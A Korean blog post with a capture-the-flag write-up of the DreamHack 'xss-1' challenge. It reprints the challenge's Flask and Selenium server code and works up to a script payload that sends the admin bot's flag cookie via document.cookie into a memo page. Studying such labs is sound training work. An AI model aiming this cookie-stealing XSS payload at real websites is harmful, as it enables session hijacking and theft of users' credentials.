vared
vared - Blog
vared
전체 방문자
오늘
어제
  • 분류 전체보기 (138)
    • Study (0)
    • Project (0)
    • Paper Review (0)
    • Tool (0)
    • WriteUp (124)
      • Root-me.org (44)
      • LOS_rubiya (32)
      • Webhacking.kr (21)
      • DreamHack (9)
      • XCZ.kr (8)
      • HackCTF (10)
    • Miscellaneous (0)
    • Forensic-CheatSheet (10)

블로그 메뉴

  • Category

공지사항

  • Forensic-CheatSheet 오픈

인기 글

태그

  • Windows Artifact
  • sql injection
  • ssd
  • shellbag forensics
  • shellbag
  • Thumbcache
  • webhacking.kr
  • forensic-cheatsheet
  • LNK FIile
  • forensic artifacts
  • trim
  • JavaScript
  • digital-forensics
  • Los
  • File Execution
  • iconcahce
  • Artifacts
  • Digital Forensic
  • Digital-Forensic

최근 댓글

최근 글

티스토리

hELLO · Designed By 정상우.
vared

vared - Blog

WriteUp/DreamHack

DreamHack : xss-1

2020. 11. 23. 13:26

일단 3개의 페이지가 나오는데 돌아가면서 구경을 좀 했다.

xss는 코드를 주입하는 부분이고, memo는 입력된 코드를 볼수 있는데 flag에서 입력을 하면 다 hello로 나온다.

memo 에 가서 hello 대신 스크립트를 넣어주면 되겠다고 생각했다

?memo = <script>alert(FLAG);</script> 이렇게 넣어주려고 했는데, 해당 문자열이 필터링 당하는 것 같다.

"<" --> "&lt;" 로 변경된다. 이걸 인코딩해서 보내주면 해결할 수 있다고 한다.

?memo=%26%23x003C;script%26%23x003E;alert(FLAG)%26%23x003C;/script%26%23x003E;

이것도 이상하게 나와서 주어진 코드를 볼 필요가 있다고 생각했다.

코드를 보자.

#!/usr/bin/python3
from flask import Flask, request, render_template, make_response, redirect, url_for, session, g
from selenium import webdriver
import urllib
import os

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open('./flag.txt', 'r').read()
except:
    FLAG = '[**FLAG**]'

def read_url(url, cookie={'name': 'name', 'value': 'value'}):
    #url = <script>document.location.href="http://host1.dreamhack.games:17868/memo?memo=12"</script>
    cookie.update({'domain':'127.0.0.1'})
    try:
        options = webdriver.ChromeOptions()
        for _ in ['headless', 'window-size=1920x1080', 'disable-gpu', 'no-sandbox', 'disable-dev-shm-usage']:
            options.add_argument(_)
        driver = webdriver.Chrome('/chromedriver', options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get('http://127.0.0.1:8000/')
        driver.add_cookie(cookie)
        driver.get(f'http://127.0.0.1:8000/xss?xss={urllib.parse.quote(url)}') # url encoding & 
    except:
        driver.quit()
        return False
    driver.quit()
    return True

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/xss')
def xss():
    xss = request.args.get('xss', '')
    return xss

@app.route('/flag', methods=['GET', 'POST'])
def flag():
    if request.method == 'GET':
        return render_template('flag.html')
    elif request.method == 'POST':
        xss = request.form.get('xss')
        #read_url(url,cookie)
        if not read_url(xss, {'name': 'flag', 'value': FLAG}):
            #read_url("host1.dreamhack.games:13714/memo?memo=<script>alert("1")</script>",{'name':'flag','value':FLAG})
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'

memo_text = ''
@app.route('/memo')
def memo():
    global memo_text
    text = request.args.get('memo', None)
    if text:
        memo_text += text.replace('<', '&lt;') + '\n'
    return render_template('memo.html', memo=memo_text)

app.run(host='0.0.0.0', port=8000)

서버사이드에서 memo에 무언가를 적어주는 기능을 한다. --> read_url() 함수.

즉 우리는 해당 함수가 있는 /flag 부분에서 xss 작업을 해줘야 한다.

read_url 함수를 읽어보면 쿠키값을 입력해 주는데, 우리가 원하는 flag 값은 쿠키에 들어있다. 즉 우리는 쿠키값을 출력해서 memo에 적히도록 해야한다. 

쿠키값을 출력하는 것은 document.cookie로 해결하고 이제 메모에 적히도록 하려면, 메모에 이동해야 한다.

즉 쿼리가 다음과 같아야 한다.

<script>window.location.href=dreamhack.games:_____/memo?memo=''+document.cookie;</script> 로 주어야 한다.

DH{<-----flag----->}

저작자표시 (새창열림)

'WriteUp > DreamHack' 카테고리의 다른 글

Dreamhack : csrf-1  (0) 2020.11.23
DreamHack : Basic ROP x64  (0) 2020.11.19
DreamHack : ssp_001  (0) 2020.11.19
DreamHack : ssp_000  (0) 2020.11.19
DreamHack : Sint  (0) 2020.11.19
    'WriteUp/DreamHack' 카테고리의 다른 글
    • Dreamhack : csrf-1
    • DreamHack : Basic ROP x64
    • DreamHack : ssp_001
    • DreamHack : ssp_000
    vared
    vared

    티스토리툴바